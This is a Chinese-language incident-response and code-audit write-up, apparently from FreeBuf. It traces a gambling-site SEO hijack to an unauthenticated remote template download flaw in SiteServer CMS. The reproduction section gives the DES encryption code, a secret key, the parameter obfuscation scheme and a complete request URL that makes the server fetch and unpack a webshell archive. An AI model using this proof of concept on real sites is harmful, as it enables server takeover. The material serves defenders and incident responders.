簡記野生應急捕獲到的siteserver遠端模板下載Getshell漏洞
*本文原創作者:1u0hun,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
前言
小明同學在某個神清氣朗的週六接到來自上級的應急任務,本次任務詳情為對某個網站黑鏈安全攻擊事件進行溯源,找到攻擊路徑,找出幕後真凶,然而,一場意外的事情才剛剛開始……
0×01 應急響應分析
0x0a 事件表現
通過收到的任務清單,瞭解到本次安全事件屬於黑鏈攻擊事件,通常主要是通過百度等搜尋引擎檢視快照等發現存在該黑鏈,但是直接訪問黑鏈連結卻沒有任何內容 通過客戶在網關出口架構的某安全廠商的下一代防火牆,客戶及時發現黑鏈現象並反饋出來 通過在百度搜索引擎中使用google hacking搜尋方式,來找到百度爬蟲爬取到的該網站的黑鏈快照檔案,再次確認黑鏈現象
而在直接訪問該url時則直接跳轉到正常頁面,通過簡單的資訊,可以確定,應該是在伺服器端寫入Referer UA劫持,將來自於百度等搜尋引擎的訪問劫持跳轉到黑鏈,而直接輸入url訪問則不進行劫持,要想使用此種黑鏈手法,必須要拿下伺服器才行,意味著客戶伺服器肯定植入了後門檔案
0x0b 事件分析
通過上述事件表現,基本上可以判斷出攻擊者攻擊的方式,因此到被攻擊的伺服器,拿上D盾一頓掃,可以看到出現很多後門檔案,最近的一次是在2018-10-04,距離本次安全應急也是最早的,與百度快照中的時間保持一致,基本上可以確定是這一次攻擊後,寫了黑鏈劫持檔案,導致此次黑鏈安全事件 根據經驗在網站目錄下搜尋spider或者黑鏈連結url等標誌字元,確定黑鏈的檔案,可以看到在該檔案中對來源於sougou、haosou、so、baidu等搜尋引擎的UA,就會劫持跳轉到博彩網站,因此將該檔案刪除就能夠恢復網站的正常
再對事件處置完畢,進行日誌分析,根據之前掌握到的時間以及webshell後門檔案的名稱include.aspx、aspdm.txt(惡意程式碼在aspdm.txt中,使用include.aspx包含執行),對日誌進行篩選(IIS日誌可能存在8個小時的誤差,即訪問時間為14時,日誌記錄可能在6時),經過一個多小時的排查,發現有一個ajaxotherservice.aspx此服務介面存在可疑,攻擊者在攻擊前頻繁訪問此URL介面
將伺服器上的webshell後門檔案先備份樣本後刪除,訪問該可疑連結 http://www.xxx.com/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0&directoryName=txt2 ,模擬惡意攻擊者行為,發現瀏覽器會返回資訊為站點模板下載成功
之後在伺服器發現模板檔案目錄下果然會自動生成一個後門zip並且會自解壓,由於使用zip因此很多防火牆無法檢測攔截該檔案是否為惡意檔案,造成被輕鬆植入webshell
到此,就發現了後門webshell的攻擊路徑,通過遠端下載模板的方式,將後門webshell打包成壓縮檔案zip,而壓縮檔案會自動解壓,所以造成aspx檔案可以執行,此過程類似於tomcat上傳war包
0×02 程式碼審計
0x0a 漏洞概述
通過了解,得知被攻擊的網站使用的是siteserver cms,為開源免費cms框架,官網 https://www.siteserver.cn/ ,捕獲到的“0 day”是通過遠端模板下載getshell,漏洞缺陷是由於後臺模板下載位置未對使用者許可權進行校驗,且 ajaxOtherService中的downloadUrl引數可控,導致getshell,目前經過測試發現對5.0版本包含5.0以下通殺
0x0b 漏洞分析
可以看到利用的是ajaxOtherService.cs中的SiteTemplateDownload功能模組,使用notepad++搜尋到該功能模組如下。發現在ajaxOtherService.cs檔案中確實存在函式呼叫介面SiteTemplateDownload(stringdownloadUrl, string directoryName, string userKeyPrefix)
其中downloadUrl就是遠端檔案的URL地址,directoryName是下載到本地之後命名的模板目錄,userKeyPrefix是加密的金鑰,繼續稽核此檔案,整理出整個函式呼叫流程如下,首先在AjaxOtherService.cs檔案中使用Page_Load函式負責載入整個頁面,然後通過request[‘type’]獲取到不同的操作型別,如果獲取到的type為TypeSiteTemplateDownload ,就會執行其request引數值的相關功能,其中最重要的一步操作就是此時先呼叫了DecryptStringBySecretKey函式將downloadurl先進行了解密,之後呼叫SiteTemplateDownload函式進行模板下載並自解壓。
在AjaxOtherService類中通過常量中已經定義了TypeSiteTemplateDownload = “SiteTemplateDownload”;
因此當type等於SiteTemplateDownload時就會呼叫SiteTemplateDownload函式,邏輯非常的清楚,接下來分析downloadurl到底是怎麼解密的,這也是本次審計的重點,畢竟其他邏輯非常清楚了,通過呼叫TranslateUtils.DecryptStringBySecretKey函式進行解密,通常開發習慣就是類名與檔名基本保持一致,因此很容易找到該檔案
通過分析原始碼可知,這裡將DecryptStringBySecretKey函式進行過載,在呼叫DecryptStringBySecretKey(string inputString)時候,實際上呼叫的是下面帶secretKey的同名函式DecryptStringBySecretKey(stringinputString, string secretKey),分析該函式其中secretKey是取自WebConfigUtils.SecretKey的值,通過審計WebConfigUtils.cs檔案可知,該值是從配置文件web.config中取得對應欄位值。SecretKey的值可以在web.config檔案中找到。
解密函式DecryptStringBySecretKey(string inputString, string secretKey)中secretKey的引數值同樣為WebConfigUtils.SecretKey的值,繼續分析該函式,可以看到先進行了混淆字元,將字元“+=&?’/”替換成DES加密後的密文。
這裡使用python指令碼去除混淆,恢復原DES密文。
程式去除混淆之後呼叫DES模組並例項化encryptor物件呼叫DesDecrypt解密函式,在例項化物件時將inputString和secreKey傳入。使用菜鳥教程 http://www.runoob.com/ 除錯執行下核心的加解密程式碼傳入引數_encryptKey和_inputString加密程式碼除錯如下_inputString傳入任意黑客構造的地址,_encryptKey傳入金鑰。
using System; using System.IO; using System.Security.Cryptography; using System.Text; namespace EncryptApplication { class Encrypt { static void Main(string[] args) { var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5"; var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5"; var _inputString = "http://127.0.0.1:99/txt2.zip"; var _outString = ""; var _noteMessage = ""; byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF }; try{ var byKey = Encoding.UTF8.GetBytes(_encryptKey.Length > 8 ? _encryptKey.Substring(0, 8) : _encryptKey); var des = new DESCryptoServiceProvider(); var inputByteArray = Encoding.UTF8.GetBytes(_inputString); var ms = new MemoryStream(); var cs = new CryptoStream(ms, des.CreateEncryptor(byKey, iv), CryptoStreamMode.Write);cs.Write(inputByteArray, 0, inputByteArray.Length); cs.FlushFinalBlock(); _outString = Convert.ToBase64String(ms.ToArray()); Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString); } catch (Exception error) { _noteMessage = error.Message; } } } }
執行之後獲取其加密downloadurl如下: ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=, 使用python程式碼混淆該url,得到最後利用的downloadurl
混淆之後的downloadurl為:ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals00secret0, 解密的步驟與加密相反,首先將混淆後的下載地址去除混淆。去混淆py程式碼去混淆後密文如下:
ZjYIub/YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H/QGZ4+ZW0iiVbi/MDytVnpZKliDw=,
解密函式除錯如下,傳入_inputString和金鑰
0×03 漏洞復現
假設downloadurl地址為(實際利用是黑客的公網IP地址): http://127.0.0.1:99/txt2.zip 安裝後的secretKey:vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5加密後的downloadurl:ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=
混淆後傳入引數中的downloadurl:ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals00secret0可以構造如下的POC實現遠端檔案下載,
獲取webshell/Ajax/ajaxOtherService.aspxtype=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals0&directoryName=txt2 在瀏覽器訪問自己搭建的測試網站使用url,發現提示模板下載成功
在伺服器上檢視,發現自解壓該後門zip
然後訪問該後門即可
0×04 總結
伺服器黑鏈事件,往往大多數都是通過惡意黑客手中的未公開的漏洞,批量掃描攻擊,植入webshell,以及黑鏈。作為一個安全從業人員,要在對坑中學習其攻擊手法,從中找到解決方式,維護世界和平。
*本文原創作者:1u0hun,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載